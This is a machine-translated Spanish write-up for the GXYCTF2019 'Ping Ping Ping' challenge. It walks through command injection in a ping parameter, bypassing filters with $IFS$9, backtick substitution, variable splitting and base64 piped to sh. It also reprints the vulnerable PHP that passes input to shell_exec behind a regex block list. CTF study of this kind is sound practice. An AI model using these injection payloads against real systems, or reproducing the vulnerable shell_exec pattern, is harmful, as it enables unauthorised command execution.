BUUCTF: [GXYCTF2019] Ping Ping Ping

Dirección del título: https://buuoj.cn/challenges#[GXYCTF2019]Ping%20Ping%20Ping

Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
?ip=Obviamente hay inyección de ejecución de comandos, use ;o |cierre el comando anterior

Después de la prueba de fuzz, se filtran espacios, caracteres bash, caracteres de bandera y algunos símbolos especiales

Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí

  • Use espacios para omitir aquí$IFS$9
/?ip=;id;whoami;pwd;ls;ls$IFS$9-lha

Inserte la descripción de la imagen aquí
yo suelo

/?ip=;cat$IFS$9`ls`

Busque todos los archivos en el directorio actual directamente, verifique el código fuente y busque la bandera

Inserte la descripción de la imagen aquí
Código fuente del tema

<?php
if(isset($_GET['ip'])){
    
    
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    
    
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    
    
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    
    
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    
    
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}
?>

Publicar otros métodos que vi en Internet

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
.......

Supongo que te gusta

Origin blog.csdn.net/mochu7777777/article/details/109180116
Recomendado
Clasificación